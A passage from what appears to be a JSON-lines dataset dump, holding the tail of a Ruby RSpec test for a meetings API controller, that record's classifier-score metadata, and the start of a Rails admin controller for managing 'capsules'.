expect(response).to be_successful\n end\n end\n\n describe \"POST #create\" do\n context \"with valid params\" do\n it \"creates a new Meeting\" do\n api_auth(request, user)\n expect {\n post :create, params: {room_id: room.to_param, meeting: valid_attributes}\n }.to change(Meeting, :count).by(1)\n end\n\n it \"renders a JSON response with the new meeting\" do\n api_auth(request, user)\n post :create, params: {room_id: room.to_param, meeting: valid_attributes}\n expect(response).to have_http_status(:created)\n expect(response.content_type).to eq(\"application/json\")\n end\n end\n\n context \"with invalid params\" do\n it \"renders a JSON response with errors for the new meeting\" do\n api_auth(request, user)\n post :create, params: {room_id: room.to_param, meeting: invalid_attributes}\n expect(response).to have_http_status(:unprocessable_entity)\n expect(response.content_type).to eq(\"application/json\")\n end\n end\n end\n\n describe \"PUT #update\" do\n context \"with valid params\" do\n let(:new_attributes) {\n FactoryBot.attributes_for(:meeting, date_time: Time.now + 2.hours)\n }\n\n it \"updates the requested meeting\" do\n meeting = Meeting.create! valid_attributes\n\n api_auth(request, user)\n put :update, params: {room_id: room.to_param, id: meeting.to_param, meeting: new_attributes}\n meeting.reload\n expect(meeting.date_time.utc).to be_within(60.seconds).of(Time.now + 2.hours)\n end\n\n it \"renders a JSON response with the meeting\" do\n meeting = Meeting.create! valid_attributes\n\n api_auth(request, user)\n put :update, params: {room_id: room.to_param, id: meeting.to_param, meeting: valid_attributes}\n expect(response).to have_http_status(:ok)\n expect(response.content_type).to eq(\"application/json\")\n end\n end\n\n context \"with invalid params\" do\n it \"renders a JSON response with errors for the meeting\" do\n meeting = Meeting.create! valid_attributes\n\n api_auth(request, user)\n put :update, params: {room_id: room.to_param, id: meeting.to_param, meeting: invalid_attributes}\n expect(response).to have_http_status(:unprocessable_entity)\n expect(response.content_type).to eq(\"application/json\")\n end\n end\n end\n\n describe \"DELETE #destroy\" do\n it \"destroys the requested meeting\" do\n meeting = Meeting.create! valid_attributes\n api_auth(request, user)\n expect {\n delete :destroy, params: {room_id: room.to_param, id: meeting.to_param}\n }.to change(Meeting, :count).by(-1)\n end\n end\n\n describe \"PATCH #set_state\" do\n it \"change state to accepted\" do\n meeting = Meeting.create! valid_attributes\n api_auth(request, user)\n\n patch :set_state, params: {room_id: room.to_param, meeting_id: meeting.to_param, state: \"to_accepted\"}\n expect(response).to have_http_status(:ok)\n end\n end\nend\n", "text_preview": "require \"rails_helper\" RSpec.describe MeetingsController, type: :controller do let(:country) { create(:country) } let(:publisher) { create(:publisher, country: country) } let(:category) { create(:category) } let(:city) { create(:city, count", "input_sha256": "b6741044e0ca5049b7ca463cd924267fa77d500f1730a47f6e3e13e5fe671634", "text_sha256": "4b22a9b7140dd880ad89a748a18ef1fffa6ba789b9f3b1744eb9b60e77a3fc57", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16088, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2495356052343922, "noise_severity": 0.03766550307020371, "missing_content_severity": 0.007642986919853013, "factual_density": 3.2010268275843203, "pretraining_utility": 0.47768991365238866, "math_density": 0.11781886823540268, "code_density": 3.914555980260279, "reasoning_density": 0.7264759328343132, "education_level": 2.502309031290596, "creative_writing_quality": -0.06724493672909677}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.03006887874937103, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9906230949617765, "secondary": 0.9526920471288547, "tertiary": 0.9840682684325462, "structured_records": 0.20495551305210244, "procedural_steps": 0.022958708294491637, "worked_solution": 0.08572617044017941, "contextual_dialogue": 8.954560038320929e-06, "content_quality": 0.5740349675567655, "noise_severity": 0.9686120807748302, "missing_content_severity": 0.9936308442334558, "factual_density": 0.531074441942732, "pretraining_utility": 0.43012282876390706, "math_density": 0.9018176098038311, "code_density": 0.928796650216899, "reasoning_density": 0.3946033893047389, "education_level": 0.4477553527201779, "creative_writing_quality": 0.9986157795768805, "primary_topic": 0.9884759791819271, "secondary_topic": 0.9582179789438764}, "probability_margin": {"primary": 0.9851568506990087, "secondary": 0.9309786482555361, "tertiary": 0.9787788829651961, "education_level": 0.1481673278180855, "creative_writing_quality": 0.998128009399685, "primary_topic": 0.9808342751080268, "secondary_topic": 0.9447861225699783}, "raw_probabilities": {"primary": {"Academic Writing": 6.013929575129881e-05, "Content Listing": 3.571690054567635e-05, "Creative Writing": 2.123138417274937e-05, "Customer Support Page": 1.1957229913246186e-05, "Q&A Forum": 1.5615229094573206e-05, "Discussion Thread": 1.1361599368827775e-05, "Comment Section": 1.759498265039588e-05, "Missing Content": 2.2593503791623506e-05, "Knowledge Article": 9.20913378748586e-05, "Legal Notices": 3.816459147802803e-05, "News Article": 6.61736060538179e-06, "Organizational Announcement": 1.4769573915072774e-05, "Nonfiction Writing": 1.460409637393692e-05, "Organizational About Page": 1.63262491972448e-05, "Personal About Page": 1.7756495900236267e-05, "Personal Blog": 8.810404506392192e-06, "Product Page": 9.51332234724235e-06, "Spam / Ads": 1.5167750804483308e-05, "Structured Data": 0.0020531745219298757, "Technical Writing": 0.9910137993383691, "Transcript / Interview": 2.8621574253403827e-05, "Tutorial / How-To Guide": 0.000608884283272012, "User Reviews": 8.540334523964947e-06, "Other / Unknown": 0.005856948639360343}, "secondary": {"Academic Writing": 0.00025729228698974496, "Content Listing": 0.00018219160964597157, "Creative Writing": 0.00016515845433259354, "Customer Support Page": 8.71595145927297e-05, "Q&A Forum": 8.374270303442038e-05, "Discussion Thread": 7.000902811530105e-05, "Comment Section": 0.00011143933415950528, "Missing Content": 0.00026547974804580634, "Knowledge Article": 0.0005604245953476763, "Legal Notices": 0.00016001562847869794, "News Article": 8.850628738648383e-05, "Organizational Announcement": 8.890299656656469e-05, "Nonfiction Writing": 9.215291372063244e-05, "Organizational About Page": 0.00010128423488324418, "Personal About Page": 9.38343475895618e-05, "Personal Blog": 8.083766938074616e-05, "Product Page": 5.857687760318847e-05, "Spam / Ads": 0.00011472400349973416, "Structured Data": 0.015522661138717437, "Technical Writing": 0.023684563576283, "Transcript / Interview": 0.0001323815372346802, "Tutorial / How-To Guide": 0.0032878572787652595, "User Reviews": 4.759240380783414e-05, "NONE": 0.9546632118318191}, "tertiary": {"Academic Writing": 8.116144164605746e-05, "Content Listing": 8.585025369977637e-05, "Creative Writing": 6.54143126219569e-05, "Customer Support Page": 3.4785704269751404e-05, "Q&A Forum": 2.9722663867170215e-05, "Discussion Thread": 2.436782901633853e-05, "Comment Section": 6.083530417146659e-05, "Missing Content": 0.0002531873853828269, "Knowledge Article": 0.0002795876423752528, "Legal Notices": 0.00014362705989285414, "News Article": 4.08315190241718e-05, "Organizational Announcement": 3.5167563599024266e-05, "Nonfiction Writing": 4.383486967338182e-05, "Organizational About Page": 4.94011704874613e-05, "Personal About Page": 3.616899457362161e-05, "Personal Blog": 3.046770387426898e-05, "Product Page": 2.594340204850827e-05, "Spam / Ads": 5.177571000168625e-05, "Structured Data": 0.005429568092977689, "Technical Writing": 0.0059532076159940885, "Transcript / Interview": 4.6979224305794945e-05, "Tutorial / How-To Guide": 0.0024454176550379935, "User Reviews": 2.0606300268638298e-05, "NONE": 0.9847320905811902}, "structured_records": {"false": 0.7950444869478975, "true": 0.20495551305210244}, "procedural_steps": {"false": 0.9770412917055084, "true": 0.022958708294491637}, "worked_solution": {"false": 0.9142738295598206, "true": 0.08572617044017941}, "contextual_dialogue": {"false": 0.9999910454399616, "true": 8.954560038320929e-06}, "content_quality": {"-2": 0.003077056519407392, "-1": 0.0075565863528521396, "0": 0.10646687458481811, "1": 0.5025526604597856, "2": 0.38034682208313675}, "noise_severity": {"0": 0.9669437307802714, "1": 0.029812180539803203, "2": 0.0022904204268972372, "3": 0.0005421913355064166, "4": 0.000411476917521695}, "missing_content_severity": {"0": 0.9939382297353831, "1": 0.004932138074362939, "2": 0.0007788162536810517, "3": 0.0002500474081639274, "4": 0.00010076852840904746}, "factual_density": {"0": 0.005658436618761779, "1": 0.014112055287348688, "2": 0.13564250061121808, "3": 0.46271825885615053, "4": 0.3818687486265208}, "pretraining_utility": {"-2": 0.008226333629041441, "-1": 0.09091712203272379, "0": 0.3965681009628895, "1": 0.423517183807495, "2": 0.08077125956785015}, "math_density": {"0": 0.9009568423009868, "1": 0.08978128432592332, "2": 0.003695797032571157, "3": 0.0016183155177376444, "4": 0.003947760822781028}, "code_density": {"0": 0.0002164599223725855, "1": 0.00039770001657682223, "2": 0.009265742048659197, "3": 0.06485359590318211, "4": 0.9252665021092094}, "reasoning_density": {"0": 0.6544956882694181, "1": 0.09913338610787528, "2": 0.1521798087936591, "3": 0.053781538177070536, "4": 0.04040957865197702}, "education_level": {"none": 0.0010544079426086485, "0": 0.0013327814976720148, "1": 0.0065198704944588876, "2": 0.5397961272668149, "3": 0.3916287994487294, "4": 0.05966801334971615}, "creative_writing_quality": {"not_applicable": 0.9988464829807338, "-2": 7.388006798740666e-05, "-1": 0.00016884057651379844, "0": 0.0007184735810486879, "1": 0.0001456130539204655, "2": 4.670973979582763e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.831797944791019e-05, "Art & Design": 3.094533518232885e-05, "Law & Crime": 3.533333546174929e-05, "Education & Careers": 5.5652939563507164e-05, "Entertainment & Media": 3.8430733609175194e-05, "Fashion & Beauty": 3.8007641910722104e-05, "Business, Economics & Finance": 0.0003022318432041126, "Food & Dining": 6.499857982607983e-05, "Games & Gaming": 9.76709234543862e-05, "Electronics & Hardware": 4.851874794262199e-05, "Health, Healthcare & Wellness": 3.41577678938274e-05, "History & Geography": 3.247701299189771e-05, "Home, Pets & Hobbies": 7.527279128451196e-05, "Industry & Production": 2.407802471052156e-05, "Language, Literature & Philosophy": 3.6728261240525995e-05, "Politics & Government": 2.305751635779818e-05, "Religion & Spirituality": 4.396608563739649e-05, "Science, Mathematics & Engineering": 0.00012615513673030883, "Relationships & Community": 0.008084935643826193, "Software Usage & Applications": 0.0004625243018102327, "Programming & Software Engineering": 0.988919210751853, "Sports & Fitness": 6.632191422200362e-05, "Vehicles & Transportation": 1.9121560715416276e-05, "Travel & Tourism": 0.0005281029793091889, "Other / Uncovered Subject": 0.0006913209307308169, "Unknown / Insufficient Content": 8.246126108395722e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003256640740931291, "Art & Design": 0.00021705513808348336, "Law & Crime": 0.000356027427487837, "Education & Careers": 0.00024550071388929756, "Entertainment & Media": 0.0003201372646632107, "Fashion & Beauty": 0.00018607311491901474, "Business, Economics & Finance": 0.0012080598299736645, "Food & Dining": 0.0002764141331731452, "Games & Gaming": 0.00032761925931556373, "Electronics & Hardware": 0.0001904806252280386, "Health, Healthcare & Wellness": 0.00017813114607612753, "History & Geography": 0.00016006977693089865, "Home, Pets & Hobbies": 0.00026557705648318366, "Industry & Production": 9.380878206992071e-05, "Language, Literature & Philosophy": 0.0001304684665758964, "Politics & Government": 0.0001467682815495777, "Religion & Spirituality": 0.00021479106495078486, "Science, Mathematics & Engineering": 0.0005993507498240799, "Relationships & Community": 0.015038857183748955, "Software Usage & Applications": 0.0017416180181071173, "Programming & Software Engineering": 0.013806157369388032, "Sports & Fitness": 0.00021750551900484783, "Vehicles & Transportation": 8.280644989115834e-05, "Travel & Tourism": 0.0018344872805458072, "Other / Uncovered Subject": 0.0020115915203000457, "NONE": 0.9598249797537273}}, "probabilities": {"primary": {"Academic Writing": 6.013929575129881e-05, "Content Listing": 3.571690054567635e-05, "Creative Writing": 2.123138417274937e-05, "Customer Support Page": 1.1957229913246186e-05, "Q&A Forum": 1.5615229094573206e-05, "Discussion Thread": 1.1361599368827775e-05, "Comment Section": 1.759498265039588e-05, "Missing Content": 2.2593503791623506e-05, "Knowledge Article": 9.20913378748586e-05, "Legal Notices": 3.816459147802803e-05, "News Article": 6.61736060538179e-06, "Organizational Announcement": 1.4769573915072774e-05, "Nonfiction Writing": 1.460409637393692e-05, "Organizational About Page": 1.63262491972448e-05, "Personal About Page": 1.7756495900236267e-05, "Personal Blog": 8.810404506392192e-06, "Product Page": 9.51332234724235e-06, "Spam / Ads": 1.5167750804483308e-05, "Structured Data": 0.0020531745219298757, "Technical Writing": 0.9910137993383691, "Transcript / Interview": 2.8621574253403827e-05, "Tutorial / How-To Guide": 0.000608884283272012, "User Reviews": 8.540334523964947e-06, "Other / Unknown": 0.005856948639360343}, "secondary": {"Academic Writing": 0.000257292286989745, "Content Listing": 0.0001821916096459716, "Creative Writing": 0.00016515845433259357, "Customer Support Page": 8.715951459272971e-05, "Q&A Forum": 8.374270303442039e-05, "Discussion Thread": 7.000902811530106e-05, "Comment Section": 0.0001114393341595053, "Missing Content": 0.0002654797480458064, "Knowledge Article": 0.0005604245953476764, "Legal Notices": 0.00016001562847869796, "News Article": 8.850628738648384e-05, "Organizational Announcement": 8.89029965665647e-05, "Nonfiction Writing": 9.215291372063245e-05, "Organizational About Page": 0.00010128423488324419, "Personal About Page": 9.383434758956181e-05, "Personal Blog": 8.083766938074617e-05, "Product Page": 5.8576877603188474e-05, "Spam / Ads": 0.00011472400349973417, "Structured Data": 0.015522661138717439, "Technical Writing": 0.023684563576283003, "Transcript / Interview": 0.00013238153723468024, "Tutorial / How-To Guide": 0.00328785727876526, "User Reviews": 4.759240380783415e-05, "NONE": 0.9546632118318192}, "tertiary": {"Academic Writing": 8.116144164605747e-05, "Content Listing": 8.585025369977638e-05, "Creative Writing": 6.541431262195691e-05, "Customer Support Page": 3.478570426975141e-05, "Q&A Forum": 2.972266386717022e-05, "Discussion Thread": 2.4367829016338534e-05, "Comment Section": 6.0835304171466595e-05, "Missing Content": 0.00025318738538282693, "Knowledge Article": 0.00027958764237525285, "Legal Notices": 0.00014362705989285417, "News Article": 4.083151902417181e-05, "Organizational Announcement": 3.516756359902427e-05, "Nonfiction Writing": 4.3834869673381826e-05, "Organizational About Page": 4.9401170487461303e-05, "Personal About Page": 3.616899457362162e-05, "Personal Blog": 3.0467703874268985e-05, "Product Page": 2.5943402048508274e-05, "Spam / Ads": 5.177571000168626e-05, "Structured Data": 0.00542956809297769, "Technical Writing": 0.005953207615994089, "Transcript / Interview": 4.697922430579495e-05, "Tutorial / How-To Guide": 0.002445417655037994, "User Reviews": 2.06063002686383e-05, "NONE": 0.9847320905811903}, "structured_records": {"false": 0.7950444869478975, "true": 0.20495551305210244}, "procedural_steps": {"false": 0.9770412917055084, "true": 0.022958708294491637}, "worked_solution": {"false": 0.9142738295598206, "true": 0.08572617044017941}, "contextual_dialogue": {"false": 0.9999910454399616, "true": 8.954560038320929e-06}, "content_quality": {"-2": 0.003077056519407392, "-1": 0.0075565863528521396, "0": 0.10646687458481811, "1": 0.5025526604597856, "2": 0.38034682208313675}, "noise_severity": {"0": 0.9669437307802714, "1": 0.029812180539803203, "2": 0.0022904204268972372, "3": 0.0005421913355064166, "4": 0.000411476917521695}, "missing_content_severity": {"0": 0.9939382297353829, "1": 0.0049321380743629385, "2": 0.0007788162536810515, "3": 0.00025004740816392734, "4": 0.00010076852840904743}, "factual_density": {"0": 0.00565843661876178, "1": 0.01411205528734869, "2": 0.1356425006112181, "3": 0.4627182588561506, "4": 0.38186874862652087}, "pretraining_utility": {"-2": 0.008226333629041443, "-1": 0.0909171220327238, "0": 0.3965681009628896, "1": 0.42351718380749503, "2": 0.08077125956785017}, "math_density": {"0": 0.9009568423009868, "1": 0.08978128432592332, "2": 0.003695797032571157, "3": 0.0016183155177376444, "4": 0.003947760822781028}, "code_density": {"0": 0.0002164599223725855, "1": 0.00039770001657682223, "2": 0.009265742048659197, "3": 0.06485359590318211, "4": 0.9252665021092094}, "reasoning_density": {"0": 0.6544956882694181, "1": 0.09913338610787528, "2": 0.1521798087936591, "3": 0.053781538177070536, "4": 0.04040957865197702}, "education_level": {"none": 0.0010544079426086485, "0": 0.0013327814976720148, "1": 0.0065198704944588876, "2": 0.5397961272668149, "3": 0.3916287994487294, "4": 0.05966801334971615}, "creative_writing_quality": {"not_applicable": 0.9988464829807339, "-2": 7.388006798740667e-05, "-1": 0.00016884057651379847, "0": 0.000718473581048688, "1": 0.00014561305392046554, "2": 4.6709739795827635e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.8317979447910186e-05, "Art & Design": 3.094533518232884e-05, "Law & Crime": 3.533333546174928e-05, "Education & Careers": 5.565293956350715e-05, "Entertainment & Media": 3.843073360917519e-05, "Fashion & Beauty": 3.80076419107221e-05, "Business, Economics & Finance": 0.00030223184320411257, "Food & Dining": 6.499857982607981e-05, "Games & Gaming": 9.767092345438618e-05, "Electronics & Hardware": 4.851874794262198e-05, "Health, Healthcare & Wellness": 3.4157767893827394e-05, "History & Geography": 3.2477012991897706e-05, "Home, Pets & Hobbies": 7.527279128451195e-05, "Industry & Production": 2.4078024710521554e-05, "Language, Literature & Philosophy": 3.672826124052599e-05, "Politics & Government": 2.3057516357798173e-05, "Religion & Spirituality": 4.3966085637396485e-05, "Science, Mathematics & Engineering": 0.0001261551367303088, "Relationships & Community": 0.008084935643826192, "Software Usage & Applications": 0.0004625243018102326, "Programming & Software Engineering": 0.9889192107518527, "Sports & Fitness": 6.63219142220036e-05, "Vehicles & Transportation": 1.9121560715416273e-05, "Travel & Tourism": 0.0005281029793091888, "Other / Uncovered Subject": 0.0006913209307308168, "Unknown / Insufficient Content": 8.246126108395721e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003256640740931291, "Art & Design": 0.00021705513808348336, "Law & Crime": 0.000356027427487837, "Education & Careers": 0.00024550071388929756, "Entertainment & Media": 0.0003201372646632107, "Fashion & Beauty": 0.00018607311491901474, "Business, Economics & Finance": 0.0012080598299736645, "Food & Dining": 0.0002764141331731452, "Games & Gaming": 0.00032761925931556373, "Electronics & Hardware": 0.0001904806252280386, "Health, Healthcare & Wellness": 0.00017813114607612753, "History & Geography": 0.00016006977693089865, "Home, Pets & Hobbies": 0.00026557705648318366, "Industry & Production": 9.380878206992071e-05, "Language, Literature & Philosophy": 0.0001304684665758964, "Politics & Government": 0.0001467682815495777, "Religion & Spirituality": 0.00021479106495078486, "Science, Mathematics & Engineering": 0.0005993507498240799, "Relationships & Community": 0.015038857183748955, "Software Usage & Applications": 0.0017416180181071173, "Programming & Software Engineering": 0.013806157369388032, "Sports & Fitness": 0.00021750551900484783, "Vehicles & Transportation": 8.280644989115834e-05, "Travel & Tourism": 0.0018344872805458072, "Other / Uncovered Subject": 0.0020115915203000457, "NONE": 0.9598249797537273}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9573, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9573, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:08.338460+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "83b6f00b-8369-421d-9258-80651f060cd8", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "8a92ed5d23c5e16d1f87d96833f19bd1fbec969e49193c298f0f89117393bbcc", "source_metadata": {"uuid": "83b6f00b-8369-421d-9258-80651f060cd8", "repo_name": "LuisHCK/encuentra-api", "relative_path": "spec/controllers/meetings_controller_spec.rb", "category": "TEST", "algo_rel_score": 0.8479967713356018, "quality_score": 7.267029762268066, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 117, "repo_created_at": "2018-07-30T03:50:10.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 12}, "file_meta": {"content_id": "f410a36c0b2deb60559b1975d6dab769b24fd544", "size_bytes": 4143, "file_timestamp": 1638483092, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "1c77276df221a42d37f56d7febbc1e9da9ab5938"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 117, "repo_created_at": "2018-07-30T03:50:10.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 12}, "file_meta": {"content_id": "f410a36c0b2deb60559b1975d6dab769b24fd544", "size_bytes": 4143, "file_timestamp": 1638483092, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "1c77276df221a42d37f56d7febbc1e9da9ab5938", "url": "https://github.com/LuisHCK/encuentra-api/blob/1c77276df221a42d37f56d7febbc1e9da9ab5938/spec/controllers/meetings_controller_spec.rb"}, "gpt4o_tokens": 1026, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2495356052343922, "noise_severity": 0.03766550307020371, "missing_content_severity": 0.007642986919853014, "factual_density": 3.2010268275843203, "pretraining_utility": 0.47768991365238866, "math_density": 0.11781886823540268, "code_density": 3.914555980260279, "reasoning_density": 0.7264759328343132, "education_level": 2.502309031290596, "creative_writing_quality": -0.06724493672909677}, "score_applicability": {"education_level": 0.9989455920573914, "creative_writing_quality": 0.0011535170192661863}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/anyelopetit/alejandroyaffe-w/blob/05c18c4cc3552079429ad408f2cad1a5308ca844/rockets/keppler_capsules/app/controllers/keppler_capsules/admin/capsules_controller.rb", "id": "ruby-0-b4aa6975cf7052548d66ad28c00c1eb0", "text": "require_dependency \"keppler_capsules/application_controller\"\nmodule KepplerCapsules\n module Admin\n # CapsulesController\n class CapsulesController < ::Admin::AdminController\n layout 'keppler_capsules/admin/layouts/application'\n before_action :set_capsule, only: %i[show edit update destroy destroy_validation]\n before_action :show_history, only: %i[index]\n before_action :only_development\n before_action :reload_capsules, only: %i[index]\n after_action :update_capsules_yml, only: %i[create update destroy destroy_multiple clone]\n before_action :reload_capsule_fields, only: %i[index]\n after_action :update_capsule_fields_yml, only: %i[create update destroy destroy_multiple clone]\n before_action :reload_capsule_validations, only: %i[index]\n after_action :update_capsule_validations_yml, only: %i[create update destroy destroy_multiple clone]\n before_action :reload_capsule_associations, only: %i[index]\n after_action :update_capsule_associations_yml, only: %i[create update destroy destroy_multiple clone]\n include KepplerCapsules::Concerns::YmlSave\n\n\n # GET /capsules\n def index\n @q = Capsule.ransack(params[:q])\n capsules = @q.result(distinct: true)\n @objects = capsules.page(@current_page).order(position: :asc)\n @total = capsules.size\n @capsules = @objects.all\n if !@objects.first_page? && @objects.size.zero?\n redirect_to capsules_path(page: @current_page.to_i.pred, search: @query)\n end\n respond_to do |format|\n format.html\n format.xls { send_data(@capsules.to_xls) }\n format.json { render :json => @objects }\n end\n end\n\n # GET /capsules/1\n def show\n end\n\n # GET /capsules/new\n def new\n @capsule = Capsule.new\n end\n\n # GET /capsules/1/edit\n def edit\n end\n\n # POST /capsules\n def create\n @capsule = Capsule.new(capsule_params)\n @capsule.name = @capsule.name.pluralize.downcase\n\n if @capsule.save\n @capsule.install\n redirect_to edit_admin_capsules_capsule_path(@capsule), notice: actions_messages(@capsule)\n else\n render :new\n end\n end\n\n # PATCH/PUT /capsules/1\n def update\n if @capsule.update(capsule_params)\n capsule = capsule_params.to_h\n @capsule.new_attributes(@capsule.name, capsule[:capsule_fields_attributes])\n @capsule.new_validations(@capsule.name, capsule[:capsule_validations_attributes])\n @capsule.new_associations(@capsule.name, capsule[:capsule_associations_attributes])\n redirect_to edit_admin_capsules_capsule_path(@capsule), notice: actions_messages(@capsule)\n else\n render :edit\n end\n end\n\n def clone\n @capsule = Capsule.clone_record params[:capsule_id]\n\n if @capsule.save\n redirect_to admin_capsules_capsules_path\n else\n render :new\n end\n end\n\n # DELETE /capsules/1\n def destroy\n @capsule.destroy if @capsule\n redirect_to admin_capsules_capsules_path, notice: actions_messages(@capsule)\n end\n\n def destroy_multiple\n Capsule.destroy redefine_ids(params[:multiple_ids])\n redirect_to(\n admin_capsules_capsules_path(page: @current_page, search: @query),\n notice: actions_messages(Capsule.new)\n )\n end\n\n def destroy_field\n @capsule = Capsule.where(id: params[:capsule_id]).first\n @capsule_field = CapsuleField.where(id: params[:capsule_field_id]).first\n if @capsule_field\n @capsule_field.destroy\n @capsule_field.destroy_migrate\n @capsule.capsule_validations.each do |v|\n if v.field.eql?(@capsule_field.name_field)\n v.destroy\n v.delete_validation_line\n end\n end\n end\n redirect_to edit_admin_capsules_capsule_path(@capsule), notice: actions_messages(@capsule)\n end\n\n def destroy_validation\n @capsule_validation = CapsuleValidation.where(id: params[:capsule_validation_id]).first\n if @capsule_validation\n @capsule_validation.destroy\n @capsule_validation.delete_validation_line\n end\n end\n\n def destroy_association\n @capsule_association = CapsuleAssociation.where(id: params[:capsule_association_id]).first\n if @capsule_association\n @capsule_association.destroy\n @capsule_association.delete_association_line\n end\n end\n\n def upload\n Capsule.upload(params[:file])\n redirect_to(\n admin_capsules_path(page: @current_page, search: @query),\n notice: actions_messages(Capsule.new)\n )\n end\n\n def download\n @capsules = Capsule.all\n respond_to do |format|\n format.html\n format.xls { send_data(@capsules.to_xls) }\n format.json { render json: @capsules }\n end\n end\n\n def reload\n @q = Capsule.ransack(params[:q])\n capsules = @q.result(distinct: true)\n @objects = capsules.page(@current_page).order(position: :desc)\n end\n\n def sort\n Capsule.sorter(params[:row])\n @q = Capsule.ransack(params[:q])\n capsules = @q.result(distinct: true)\n @objects = capsules.page(@current_page)\n render :index\n end\n\n private\n\n def only_development\n redirect_to '/admin' if Rails.env.eql?(\"production\")\n end\n\n def authorization\n authorize Capsule\n end\n\n def set_attachments\n @attachments = ['logo', 'brand', 'photo', 'avatar', 'cover', 'image',\n 'picture', 'banner', 'attachment', 'pic', 'file']\n end\n\n # Use callbacks to share common setup or constraints between actions.\n def set_capsule\n @capsule = Capsule.where(id: params[:id]).first\n end\n\n # Only allow a trusted parameter \"white list\" through.\n def capsule_params\n params.require(:capsule).permit(:name, :position, :deleted_at,\n capsule_fields_attributes: capsule_fields_attributes,\n 